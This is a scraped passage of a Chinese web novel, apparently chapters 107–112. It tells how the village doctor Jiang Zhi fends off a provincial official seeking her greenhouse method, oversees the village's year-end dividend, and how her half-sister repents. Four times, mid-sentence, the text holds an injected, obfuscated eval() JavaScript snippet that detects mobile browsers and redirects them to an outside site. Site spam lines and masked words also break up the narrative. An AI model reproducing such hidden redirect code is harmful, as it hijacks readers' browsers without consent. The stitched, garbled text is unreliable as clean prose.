那里姜巧巧正坐在一个小板凳上埋着头专心致志地挑拣着簸箕里的药材。 他忍不住压低声音问:“丫头那丫头……没给你添麻烦吧?” 姜芷的目光扫过去。 姜巧巧察觉到身体微微一僵但手里的活没停头埋得更低了。 “还行。”姜芷收回目光“能干活不惹事。工分照算年底分红也给她一份当她自己挣的。” 赵大山点了点头心里只剩佩服。 看看人家芷丫头的胸襟和手段。 把一个恨自己入骨的死对头就这么不咸不淡地收 你的朋友正在书荒,快去帮帮他吧 在身边,用一份枯燥的活计,磨平了她的棱角,也堵住了所有人的嘴。 高,实在是高。 一个多月了,姜巧巧每天重复着同样的动作,从天亮到天黑。 她的动作越来越熟练,速度也越来越快。 那张蜡黄的脸,因为每天都能吃上饱饭,渐渐透出些血色。 人依旧沉默,但眼神不再空洞,反而变得异常沉静和专注。 她甚至能分清不同批次烘干的藏红花,在色泽和形态上的细微差别。 这些变化,姜芷都看在眼里,却一字未言。 这天下午,天气晴好。 姜芷在院子里翻看陆向东寄来的医学图谱,赵秀娥则在一旁,整理着新做的药材标本。 姜巧巧挑完了最后一簸箕藏红花,站起身,揉了揉僵硬的后腰。 她没有立刻回屋,而是走到赵秀娥身边,犹豫了一下,低声说:“婶子,这片白术,你烘干的时候火大了些,药性失了至少两成。” 赵秀娥一愣,拿起那片焦黄的药材看了看,有些惊讶:“你……你怎么知道的?” “我……”姜巧巧的脸微微泛红,有些不自然地别过头,“闻出来的。闻着……没有以前的味儿冲。” 这一个多月,天天和药材打交道,她的鼻子好像变得格外灵敏。 一直沉默看书的姜芷,目光从书上移开,落在了姜巧巧身上。 她没说话,起身走到药材架旁,随手拿起两片不同的药材,递到姜巧巧面前。 “闻闻,这两种,有什么不一样?” 姜巧巧很紧张,但还是接了过来。 她闭上眼睛,凑到鼻尖,仔细地嗅了嗅。 半晌,她才不确定地开口:“左边这个……味道厚,带着土腥气。右边这个,有点冲,像……像被雨淋过又晒干的朽木。” 姜芷的眉梢,挑了一下。 左边是生黄芪,右边是炮制过的熟地黄。 她竟全说对了。 这丫头,竟天生一副“药鼻子”。 看来,老姜家那薄情的根子里,倒也不是没长出一点能跟药材沾边的东西。 姜芷收回药材,声音依旧清淡。 “还行。” 说完,她转身回屋,继续看她的书。 可就是这句不咸不淡的“还行”,却让姜巧巧的心里,莫名地涌起一股热流。 她攥紧了拳头,第一次觉得自己,或许真的不是一个一无是处的废物。 就在这时,村口的大路上,突然传来引擎的轰鸣声。 一辆吉普车,后面还跟着一辆解放牌大卡车,浩浩荡荡地驶了过来。 车在村口停下。 县医院的牛耕宏院长亲自带队,身后跟着几个干部,几人合力,小心翼翼地从卡车上抬下来一个用红布盖着的、长条形的东西。 那架势,比抬着个活菩萨还郑重。 一行人无视了村民们好奇的目光,径直朝着村东头,姜芷家那座最气派的院子走来。 全村人的目光,瞬间都被吸引了过去。 第108章 省里来人摘桃子 “快看!县里又来车了!” “我的天还用红布盖着个大家伙是啥宝贝?” “肯定是给芷丫头送好东西的!这架势比上次送拖拉机还唬人!” 村民们立刻放下手里的活计呼啦啦地围了过来跟在队伍后面朝着姜芷家走去。 赵大山正在大队部算分红的账听到动静披上棉袄就冲了出来。 他一眼就看到了县医院牛院长那张笑出了满脸褶子的脸。 “牛院长!什么风把您给吹来了!”赵大山搓着冻得通红的手迎上去。 “赵大队长我们是来给姜神医送牌匾的!” 牛耕宏的声音洪亮故意让周围的村民都听得清清楚楚。 他大手一挥身后两个干部立刻上前猛地扯下了红布。 一块厚重油亮的黑漆木牌 “县人民医院药材培育及临床观察基地”! 十六个描金大字笔锋锐利。 人群静了一瞬随即爆发出热烈讨论。 “乖乖!药材基地!这是什么意思?” “临床观察……是不是说以后县医院的大夫都得来咱这儿上课?” “你懂个球!这说明咱红星大队是县医院的亲戚了!咱村的人去看病得排头一个!” 村民们激动得满脸通红看向那块牌匾的眼神比看自家祖宗牌位还要虔诚。 这块牌子跟拖拉机不一样! 拖拉机是力气这牌子是脸面! 是红星大队以后能在十里八乡横着走的凭证! 牛耕宏要的就是这个效果他清了清嗓子高声宣布。 “经县卫生系统研究决定正式批准红星大队为我县唯一的官方药材培育基地!今后红星大队将得到县医院全面的技术和资源支持!” 话音未落供销社的马主任也从人群里挤了出来手里扬着一份**。 “同志们!我代表县供销社宣布红星大队正式列为‘生产建设重点扶持单位’!” “从今往后春耕秋收化肥、柴油、种子!只要是红星大队要的我们供销社保质!保量!优先供应!” 两个晴天霹雳把村民们砸得幸福地晕了过去。 “芷丫头!咱们的活财神呢!” 不知谁喊了一声所有目光齐刷刷地投向了那座青砖大瓦房。 姜芷听到了动静不紧不慢地走了出来。 她身上 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 只披了件干净的薄棉袄看到这阵仗依旧是清清冷冷的样子微微点头。 “牛院长马主任有劳了。” “不劳烦!是我们该做的!” 两人连忙摆手。 “赵叔”姜芷转向赵大山“这牌子是集体的荣誉就挂在大队部最显眼的地方吧。” “哎!好!好!” 赵大山激动得脸都红了连连点头。 他从干部手里接过那块沉甸甸的牌匾像是捧着整个红星大队的命根子。 挂牌仪式办得轰轰烈烈两个牌子一左一右挂在了大队部斑驳的土墙上瞬间让这破屋子有了几分衙门的气派。 赵秀娥站在人群里腰杆挺得笔直。 现在的她是“姜神医”的母亲是药材基地的“技术总监”走到哪里都有人尊敬地喊她一声“赵大娘”。 她看着女儿清冷的侧脸看着她在数十道狂热的目光中依旧淡然眼眶又一次热了。 这天晚上姜芷正在灯下写着什么。 赵秀娥端来一碗熬得浓浓的姜汤:“小芷喝点暖暖身子。今天外面站了那么久别着凉了。” 姜芷放下笔小口喝着辛辣的暖意顺着喉咙滑下。 “娘以后药田的事您要多上心了。”她忽然开口。 赵秀娥一愣:“我?我不行我就是帮你看着大事还得你拿主意。” “不您行。”姜芷认真地看着她。 “您在侍弄花草上很有天赋也比我有耐心。村里那些婶子大娘也信服您。” “以后药田的日常管理您全权负责我只管技术和销路。” 赵秀娥的心脏猛地一跳。 全权负责。 这四个字让她前半生所有的卑微和怯懦都给驱散了。 一股从未有过的力量从她心底涌了上来。 “好!”她重重点头“小芷你放心娘就是豁出这条命也给你把药田看好!” 就在红星大队被巨大的喜悦包裹时 陈支书看到电报内容手里的搪瓷缸子都差点摔了。 省农业厅要派专家组前来考察! 他不敢怠慢蹬上那辆除了铃铛不响哪儿都响的二八大杠顶着风雪就往红星大队冲。 当赵大山和姜芷得知这个消息时赵大山的嘴巴张得能塞下一个拳头。 “省……省里的大官要来?” 姜芷眉心一 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 蹙。 暖棚的事她早就料到会惊动上面。 只是没想到会来得这么快级别这么高。 她心里更清楚这些人名为考察学习 三天后一辆极少见的伏尔加轿车顶着一路的风雪行驶在新修的神医路上最后稳稳停在红星大队的大队部门口。 车门打开下来三个人。 为首的是一个戴着眼镜、身穿呢子大衣的男人约莫五十多岁气质儒雅。 他就是省农业厅的副厅长王建功。 紧随其后的是一个头发花白、神情严谨的老者他是省农科院的首席专家姓刘。 最后是个拎着公文包的年轻秘书。 公社的陈支书和大队长赵大山早已在寒风里冻得脸膛发紫见状立刻堆起满脸的笑迎了上去。 “王厅长!刘专家!欢迎欢迎啊!欢迎领导来我们红星大队指导工作!” 陈支书的腰弯成了虾米。 王厅长只是矜持地点头目光越过他们投向村庄深处。 这个小山村道路出乎意料的干净来往社员的脸上也看不到他想象中的麻木与贫穷反而透着一股子精气神。 他此行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360414|183655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的目的很明确。 “姜芷同志呢?” 王厅长开口直奔主题。 “哎!芷丫头正在暖棚那边忙活呢我这就带您过去!”赵大山赶紧在前头引路。 一行人踩着积雪深一脚浅一脚地往鬼见愁山坡上走。 王厅长的皮鞋很快沾上了泥泞他眉头微皱了一下。 当那几个在白茫茫天地间蒸腾着热气的巨大塑料暖棚突兀地闯入视野时饶是王厅长见多识广眼神也凝滞了一瞬。 而他身后的刘专家已经加快了脚步。 走进暖棚的瞬间一股混着泥土芬芳的温热气浪扑面而来将满身的寒气驱散殆尽。 眼前是与棚外冰天雪地截然不同的另一个世界。 一片生机勃勃的翠绿一株株植物精神抖擞叶片上还挂着晶莹的水珠。 刘专家已经彻底忘了领导。 他蹲下身捻起一把黑得发亮的土壤凑到鼻尖轻嗅又小心地触摸着一株药苗的嫩叶神情震惊。 “这土……这肥力……还有这火道的设计简直是鬼斧神工!不可思议呐!” 姜芷正在指导几个妇女给新一批的药苗疏叶听到动静她缓缓直起身。 她擦了擦手掸了掸 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 衣角的泥土,这才不紧不慢地走过来。 “王厅长。” 她平静开口,微微点头示意,眼神清澈。 没有半点寻常村姑见到大官的局促与讨好。 王厅长审视着眼前的姑娘。 太年轻了。 可就是这过分的年轻,配上那份沉静气度,反而形成了一种无形的压力。 他先前心中那点因对方赤脚医生身份而起的轻慢,悄然散去。 “你就是姜芷同志?” 王厅长脸上挤出温和的笑容,主动伸出手。 “小同志,了不起啊!你这一个小小的暖棚,可是为我们全省的农业工作,打开了一扇全新的大门,立下了大功!” 他一开口,就先用一顶“为省里立功”的高帽子,试图将这件事的性质定下来。 姜芷并未与他握手,将双手拢在袖中,任由那只悬在半空的手略显尴尬。 她迎上王厅长的目光,语气平淡。 “王厅长言重了。” “谈不上立功,更不是为了给谁打开大门。” “我建这个棚子,只是因为我们村的社员们冬天没活干,手冷脚冷。” “我想让他们在冬天能有点事做,能有点额外的进项,好在过年的时候,能给家里孩子添件新衣,能吃上一顿结结实实的饱饭。” 她的话,不卑不亢。 一句话,就将这天大的功劳,从“省级农业技术突破”的宏大叙事,拉回到了“一个村庄为求温饱”的朴素现实里。 王厅长准备好的一整套官样文章,瞬间被堵在了喉咙里,上不去,也下不来。 他脸上的笑容,僵硬了一瞬。 这个丫头,远比他想象的,要棘手得多。 第109章 神医三问,直击灵魂 王厅长不再绕弯子开门见山。 “姜芷同志你的暖棚技术意义非同凡响。” “如果能在全省推广解决的是千万百姓冬季吃菜难的大问题是利国利民的大好事!” 他语气一顿看似诚恳实则带着重压。 “所以省里研究决定希望你能把这项技术贡献出来。” “当然组织不会亏待你。省城户口农科院专家岗我们都可以为你争取。你看如何?” 这条件砸下来陈支书和赵大山眼珠子都红了。 省城户口! 铁饭碗! 专家待遇! 这是祖坟冒青烟的好事! 赵大山急得直给姜芷使眼色那眼皮都快抽筋了。 然而姜芷站在那里身上沾着泥土气息眼神比棚外的积雪还要清冷。 她连京城的户口都不在乎何况省城? 姜芷脸上连一丝激动都懒得伪装。 “王厅长感谢组织的看重。” “但是恐怕要让您失望了。” 什么? 王厅长脸上的笑容瞬间消失眼神变得锐利。 陈支书和赵大山的心跳都停了半拍。 “我不能接受您的提议。”姜芷重复了一遍。 “理由。”王厅长声音冷了下去“姜芷同志这关乎国家建设个人情绪和保留思想是要不得的。” 一顶大帽子就这么扣了下来。 棚里的气氛瞬间沉了下来。 姜芷像是没感觉到那股压力她直视着王厅长。 “王厅长误会了。” “我不是有保留思想而是这项技术根本不具备推广的条件。” 她这话说得太绝对王厅长身后的农科专家刘老立刻皱眉:“小同志话不要说得这么满有什么困难我们可以一起克服嘛。” “克服不了。” 姜芷摇头伸出一根手指:“首先是‘天时’不可控。” 她指了指脚下的黑土。 “这片地叫‘鬼见愁’是方圆十里阴气最重的乱葬岗。" ”我用的 王厅长和刘专家同时一愣。 他们只看到了结果哪里想过这土里还有这等邪门的道道。 姜芷又伸出第二根手指。 你的朋友正在书荒,快去帮帮他吧 “其次,是‘地利’不可控。 她又指了指棚顶的塑料布和地上的火龙。 “这塑料布,是县里王医生托了天大的人情才弄来的稀罕物,金贵得很。 “这火龙烧的,也不是寻常柴火,而是几种特殊木料配比,火性温而不燥。需要专人昼夜不停地盯着,添一分则过,减一分则衰。 她看着王厅长,问了一个最实际的问题。 “这成本,谁来出?这人力,谁来供?全省推广,您算过这笔账吗? 王厅长彻底说不出话了。 他身后的秘书额头已经见了汗。 “最关键的,姜芷伸出第三根手指,语气更冷,“是‘人和’不可控。 “暖棚里种的不是大白菜,是药。 “不同的药,习性天差地别。藏红花喜阴湿,能在这里长好。如果换成喜阳的药材,所有东西都得推倒重来。 她的目光扫过在场的所有人,最后停在刘专家身上。 “这背后需要的是对药理、土、肥、水、火的精深理解,是日积月累的经验,而不是一本操作手册。 “刘专家,她点名道,“我请问您,您有把握,单凭一本手册,就种活这一棚金贵的药苗吗? 刘专家老脸涨得通红,张了张嘴,一个字都吐不出来。 他没有。 他连这土里的门道都看不透,谈何种活? 姜芷的三问,如三记重锤,把王厅长一行人砸得晕头转向。 “所以,姜芷做出总结,“我不是不想为国家做贡献,而是我的精力实在有限。我是一个医生,不是一个农学家。 “我的本职是治病救人,而不是种地。让我负责全省的农业技术推广,我做不到,也没这个能力。 她这番话,说得坦坦荡荡,把自己的位置摆得很正。 我就是一个医生,搞出这个暖棚,是为了我们村。 你们想推广,那是你们农业部门的责任,别想把担子甩到我头上。 王厅长脸上青一阵白一阵,他想发火,却发现自己像个外行一样可笑。 他想利诱,可人家连看都懒得看一眼。 一时间,气氛有些僵持。 陈支书和赵大山急得手心全是汗,大气都不敢喘。 生怕姜芷把省里的领导给得罪了。 就在这僵局中,王厅长忽然长长吐出一口气,笑了起来。 “好!说得好! 他看着姜芷,眼里多了< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360415|183655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 一丝欣赏。 “是我小看你了,也小看了这片土地。我向你道歉,姜芷同志!” 他竟然主动道歉! 陈支书和赵大山眼珠子都快掉下来了。 王厅长非但没生气,反而更热情了。 “姜芷同志,大规模推广,是我们想当然了。但是……国家需要这项技术,哪怕只是一个火种,也必须保留下来。” 他的姿态开始放低。 “你看这样行不行?我们不搞推广,我们搞试点!” “省厅和县里共同出资,就在你们红星大队旁边,再建一个基地。” “你在关键时候,来指导一二,就当是我们农业厅,聘请您当咱们的顾问!” 他把“摘桃子”,变成了“求指导”。 把“占便宜”,变成了“拜码头”。 这台阶,给得不能再高了。 既保住了省厅领导的面子,又给了姜芷一个无法拒绝的理由。 所有人都以为姜芷会顺势答应。 姜芷沉默片刻,摇了摇头。 王厅长的心又悬了起来。 “王厅长,授人以鱼,不如授人以渔。” 姜芷开口,语出惊人。 “我一个人,精力有限。但如果省里真有决心,我们可以换一种玩法。” “你说!” “试点可以搞,但不能只在一个地方。” “我可以提供几套不同的暖棚方案,和与之匹配的选址标准。你们在全省范围内,找出三到五个符合条件的贫困村。” “我提供全部技术方案,并亲自指导一季。” “种出来的东西,三七分账,我们红星大队拿三成技术股,剩下的,全归当地。” “我只有一个要求。” 姜芷看着王厅长,认真道。 “这几个试点,从选址到管理,从播种到收获,所有环节,必须由我全权定夺。” “你们,只负责出钱、出人、听指挥。” 疯了! 这丫头简直是疯了! 赵大山听得腿都软了。 这可是省里来的大厅长! 你一个村里的丫头,竟敢让省厅领导听你指挥? 这已经不是提条件了,是要当省农业厅的“太上皇”啊! 第110章 过年分红,全村人疯了 然而王厅长听完 他浸淫官场多年被人当面驳了面子是有些不快。 甚至有一瞬间动了用身份强压下去的念头。 可这念头只一闪就被他自己掐灭了。 压? 怎么压? 人家刚才“天时、地利、人和”三条已经把话说**。 这技术不是一本手册就能学会的。 他要是强行把技术拿走在别处搞砸了责任就是他王建功的。 到时候浪费国家资源、搞**的帽子扣下来他吃不了兜着走。 可眼前这个小姑娘的提议…… 她要绝对的指挥权? 听起来狂妄至极。 可这背后呢? 她也把所有的责任都一个人扛了过去! 项目成了他王建功是举荐有功、领导有方是最大的功臣。 项目要是万一失败了那也是“总顾问”姜芷的技术问题是他用人不察但主要责任在执行者不在他这个决策者。 风险被她一个人全担了! 而他需要付出什么? 仅仅是几个贫困村的试点资金和人力。 用这点可控的代价去赌一个能轰动全省、解决大问题的天大政绩! 这笔账怎么算都是血赚! 更何况她还提出了一个让他无法拒绝的诱饵——三成技术股。 这说明她不是在赌气不是在说大话。 她是真的有信心把这件事干成! 把自己的村子都捆绑了进来这就是她的投名状! 这个丫头哪里是在提条件? 她这是递上来一份权责清晰、利益共享、风险可控的完美计划书! 想通了这一层王厅长只觉得后背隐隐发凉。 再看姜芷清冷平静的脸已经没了半点轻视。 几秒后王厅长紧绷的脸上猛地绽开一个灿烂至极的笑容。 他抬手重重一拍自己的大腿当场拍板。 “好!” “就按你说的办!” “姜芷同志!我代表省农业厅聘请你为——全省药用植物特殊种植专项总顾问!你提的所有条件我们全盘接受!” 他身后的秘书手忙脚乱地拿出纸笔现场起草聘书。 王厅长签上大名盖上红章双手郑重地递到姜芷面前。 一场惊心动魄的博弈以一种所有人都没想到的方 听说看这本书的人都是很幸运的,分享后你的运气会更棒 式,尘埃落定。 姜芷不仅守住了自己的暖棚,还反手拿下了整个省的试点项目主导权。 更给自己挣来一个谁也动不了的官方护身符。 至于草药种植的风险问题,她完全不在意。 只要按她的标准去搞试点,即便没有大丰收,也绝不会搞砸。 陈支书和赵大山站在一旁,已经彻底麻了。 他们终于看明白,在姜芷这尊真神面前,别说县领导,就是省领导来了,也得乖乖按她的规矩来。 跟她玩心眼? 你那点心眼,还不够她塞牙缝的! 第二天,王厅长就带着一帮农业干部。 人手一本姜芷开出的选址标准,开始在全县范围内拉网式摸排。 他们忙得脚不沾地,姜芷清闲得仿佛是局外人。 她依旧过着看病、看书、看顾暖棚的简单日子。 只是,村里人都不淡定了。 “听说了没?省里下来的大官,都得听咱芷丫头的指挥!” “那可不!咱芷丫头现在是省里的顾问哩!比县长官还大!” “那是文曲星下凡,是来带咱们过好日子的!” 这些话飘进耳朵里,姜芷也只当是冬日里的一阵风,听过便散了。 她要的,从来不是这些虚名。 而是脚下这片土地,能按照她的意志,长出她想要的药材,以及未来去发掘更多珍贵的宝贝,实现她身为国医圣手的抱负。 日子在寒风里一天天溜走,转眼,就到了腊月二十八。 大队分红的日子。 这一天,天还没亮透,整个红星大队就彻底活跃起来。 家家户户的烟囱都早早冒起了青烟,比过年起得都早。 村中央那片被冻得邦邦硬的打谷场上,黑压压地站满了人。 男人女人,老的少的,一个个穿着自家最厚实、最干净的衣裳,冻得脸膛发紫,嘴里哈出的白气混成一片,也压不住内心的激动和期盼。 人们的交谈声、咳嗽声、孩子的笑闹声混杂在一起,让这片贫瘠的土地,头一次有了如此鲜活的喧嚣。 打谷场正中,几张斑驳的长条桌拼成主席台。 主席台两边,特意安排了五个年轻力壮的民兵,荷枪实弹地站岗。 大队长赵大山带着会计、记分员,端坐在桌子后头。 他面前,一本厚得能当砖头使的账本,旁边,是一个用粗布缝的、鼓鼓囊囊的大钱袋子。 赵大山看着台 你的朋友正在书荒,快去帮帮他吧 下一张张熟悉的面孔,无数双灼热的眼睛,只觉得一股热流从脚底板直冲天灵盖。 他站起身,抓起铁皮扩音喇叭,卯足了劲儿吼了一声。 “安静!” 喧闹的打谷场,瞬间安静了下来。 所有人的目光,火辣辣地钉在了那个大钱袋子上。 赵大山粗粝的手掌按在账本上,声音带着些微的颤抖。 “同志们!” “今年!是咱红星大队,祖祖辈辈都得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360416|183655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻在骨头里记住的一年!” “在芷丫头的带领下!咱们把那狗都不待见的‘鬼见愁’,变成了遍地流金的聚宝盆!” 他猛地一顿,深吸一口气,像是要把全村人的魂都喊出来。 “今天!咱们就来分一分这聚宝盆里结出来的第一个金蛋蛋!” 他一把抓起账本,高高举过头顶! “经过会计、记分员三天三夜拿算盘珠子都快磨秃噜皮的核算!” “咱们药材基地,从入冬到现在,总共卖了三批藏红花,扣掉所有成本,纯剩下来的钱,一共是——” 他拖长了音,台下所有人都下意识地屏住了呼吸,伸长了脖子。 赵大山通红的眼睛扫过全场,全力吼道。 “一万!一千!一百块!” 这个数算出来的时候,赵大山自己都难以置信。 搞出这么大的动作,成本竟然只花了一千多。 而且这里面占大头的还是塑料棚的花费。 人力用工分抵扣。 其余能源、材料等,大部分都是社员们按照姜芷要求,自给自足收集来的。 所以,这场盛会,是真正属于整个红星大队的。 轰—— 人群瞬间沸腾了! “我的老天爷啊!一万多!” 一个头发花白的老汉,手里的烟杆“啪嗒”掉在地上,老眼里瞬间涌出两行热泪。 “发财了!咱红星大队发财了!” 一个壮汉激动得抡起拳头砸向天空,又哭又笑。 “呜呜呜……我活了半辈子,没见过这么多钱堆在一起是啥样啊……” 婆娘们捂着脸,蹲在地上,激动的哭声汇成一片,被穷日子压了半辈子,终于看到了希望。 赵大山任由大家欢呼着,发泄着。 直到那声浪稍微平息,他才继续用嘶哑的声音喊道:“这笔钱,经大队部和芷丫头商量,决定!拿出八千块!按照各家各户在药材基地出的工分,现场分红!” “剩下的三千多块,存入大队集体账户,开春咱还得买更多的种子和料子,把药田搞得更大!” “现在,开始分红!念到名字的,上来领钱!” 就在这时,人群后方忽然静了静,自觉地让开一条路。 姜芷披着件干净的棉袄,和母亲赵秀娥一起,不紧不慢地走了过来。 她没有上主席台,只是静静地站在人群边缘。 她清冷的目光落在台下那些激动得不能自已的乡亲们身上。 赵秀娥也紧紧攥着女儿的手,眼眶早已湿透。 姜芷轻轻拍了拍母亲的手背,声音很轻。 “娘,别哭。” “这是咱们红星大队,靠自己双手挣来的好日子。” “以后,还会更好。” 第111章 三十四块零八**,买断过去 赵大山话音刚落拿起名册大声吼了出来。 “张铁牛家出工三百二十个分红三十五块!” “李桂芬家出工四百一十个分红四十六块!” …… 一个个名字被念到一个个社员像做梦一样跑上台从会计手里接过那个沉甸甸的信封时手抖得不成样子。 三十几 这笔钱能让一家人过个流油的肥年! 整个打谷场彻底疯了成了一片欢腾的海洋。 可在这片海洋的角落阴影里挤着几个尴尬而落寞的身影。 姜家老宅的人也来了。 姜老太带着大房二房眼巴巴地杵在人群里听着一个个名字念过去那心啊又酸又妒。 她听到分红最多的一户拿了将近八十块钱时老眼瞬间就红了。 “凭什么!大家都是红星大队凭什么他们有钱分我们没有!” 她拔高了嗓门尖叫起来。 周围村民立刻投来鄙夷目光。 “凭人家出工出力了!你们家干啥了?在背后说风凉话吗?” “就是!芷丫头带人开荒累得脱层皮的时候你们在干嘛?现在倒有脸来分钱了?” “姜老太婆你那张老脸还要不要了!以前怎么作践芷丫头娘俩的全村人可都看着呢!” 一句句话像石头一样砸过来。 姜老太气得浑身哆嗦不是因为被骂是心疼那些钱啊心疼得要滴血! 姜为民也缩在人群角落低着头一张脸青白交加。 他看着台上意气风发的赵大山看着远处被众人簇拥的女儿满脸羞愧和悔恨。 这份荣光本该有他。 可现在他连张口的勇气都没有。 就在这时赵大山念出了一个让全场瞬间安静的名字。 “姜巧巧出工两百九十八个分红三十二块零八**!” 众人的目光齐刷刷在人群中搜索起来。 姜巧巧? 那个偷钱私奔差点死在外头被全村人当成反面教材的姜巧巧? 她也能分钱? 在无数道复杂的目光中一个瘦削的身影从人群最后面慢慢走了出来。 姜巧巧穿着一身洗到发白的旧棉袄头上包着块灰布头巾佝偻着背步子迈得又小又慢。 两个多月的劳作让她摆脱了当初那副鬼样子。 但长期的营养不良和心气郁结还是让她整 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 个人看起来灰扑扑的,没有一丝活气。 她沉默着,一步步走上了主席台。 赵大山看着她,眼神复杂地叹了口气,从会计手里接过信封递过去。 “巧巧啊,这是你挣的,三十二块零八**,你数数。 姜巧巧这两个月的表现,别人不知道,他是看的一清二楚。 每天天不亮就起来,坐在灶房门口挑拣药材,一坐就是一天,从不偷懒,也从不与人交谈。 村里有些爱嚼舌根的婆娘,故意在她面前说些难听的话,她也跟没听见一样,专心致志。 姜巧巧抬起头,默默接过信封。 她没有数,只是死死攥在手里,转身又默默地走下台,消失在人群里。 从头到尾,一个字都没有。 “嘿,这姜巧巧,还真转性了? “我看是,以前那眼高于顶的样儿,现在一点都瞧不见了。 “能在芷丫头手底下拿到钱,说明芷丫头认可她了。芷丫头看人,还能有错? “也是。能挣钱养活自己,总比以前当蛀虫强。 姜老太看着这一幕,气得直跺脚:“反了!真是个白眼狼!挣了钱也不知道孝敬我这个奶奶! 姜为民则僵在原地,心里五味杂陈。 连他最瞧不起的那个女儿,都靠自己双手挣到钱了。 而他这个当爹的,却只能站在这里,像个废物。 分红大会结束,家家户户喜气洋洋。 姜芷家,也热闹起来。 赵秀娥炖了一大锅喷香的肉,贴了雪白的馍馍。 姜芷破天荒地没看书,帮着母亲在厨房里忙活。 姜巧巧也分到了半斤肉和一斤白面,她没有推辞,默默收下了。 吃年夜饭时,赵秀娥看着两个女儿,一个光芒万丈,一个沉静如水,心里感慨万千。 她给姜芷夹肉:“小芷,多吃点。 又给姜巧巧夹了一块:“巧巧,你也吃,在咱家,肯干活就不会饿着。 姜巧巧捧着碗,眼眶一热,差点掉下泪来。 她扒拉着碗里的饭,第一次觉得,白面馍馍,原来是这么香。 饭后,姜芷给了母亲一个厚红包,又给了姜巧巧一个薄的。 姜巧巧捏着那只有两块钱的红包,手抖得厉害。 “姐…… “这是你这个月的工钱。姜芷打断她,语气平淡,“你应得的。 一句话,再 你的朋友正在书荒,快去帮帮他吧< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360417|183655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 次清晰地划开了界限。 是雇佣,不是亲情。 姜巧巧默默收下,心里刚升起的那点暖意,又被一股酸涩取代。 她知道,自己没资格要求更多。 夜深了。 姜家老宅,一片冰冷。 年夜饭,是一锅能照见人影的玉米糊糊。 王桂香躺在炕上,大小便又失禁了,屋里臭气熏天。 姜为民麻木地收拾着。 就在这时,破旧的木门“吱呀”一声被推开。 姜巧巧走了进来。 她手里,紧紧攥着两个信封。 她走到炕边,看着那个瘫在床上、面目全非的女人,看着那个苍老得快认不出的男人,心里像被刀子来回割。 “扑通”一声。 她直挺挺地跪在了泥地上。 “爹……” 姜为民浑身一震,猛地回头。 姜巧巧目光转到王桂香身上,看到对方浑浊的眼睛里,也正盯着她,充满了怨毒。 她把手里的两个信封,放在了地上,往前推了推。 “娘……爹……” 她深深吸了一口气,然后,额头重重磕在地上。 “咚!” 一声闷响。 “我错了。” “咚!” “我不该偷家里的钱……” “咚!” “我不该气我娘……” 她一下一下地磕着,额头很快见了血,混着地上的污泥。 “这钱……是我挣的……”她声音带着哭腔,“一共三十四块零八**,都给你们,给娘买药……” “我对不起你们……” 她泣不成声,趴在地上,瘦削的肩膀剧烈耸动。 姜为民彻底呆住了。 他看着地上陌生的女儿,看着那两个信封,再看看炕上同样在无声流泪的妻子,一股无法言说的情绪瞬间击垮了他。 他一个五十多岁的男人,捂着脸,蹲在地上,发出了呜咽。 这个家,是他亲手毁的。 报应,都是报应啊! 姜巧巧哭了很久,才慢慢从地上爬起来。 她没再说一句话,只是深深地看了一眼自己的父母,然后转身,走出了这个让她悔恨终生的家。 门外,风雪更大了。 可她心里的那块巨石,终于落了地。 从今以后,她要用自己的双手,堂堂正正地活下去。 第112章 开春后的第一件大事 大年三十的鞭炮声在红星大队稀疏地响了一宿。 大年初一天刚亮整个村子就在兴奋中苏醒。 分了红家家户户腰包都鼓了这个年过得比哪一年都有底气。 孩子们穿着新棉衣在雪地里疯跑嘴里嚼着平日见不到的大白兔奶糖笑声清脆。 大人们走家串户拜年说的最多的早已不是“过年好”而是满含敬畏的一句“多亏了咱芷丫头”。 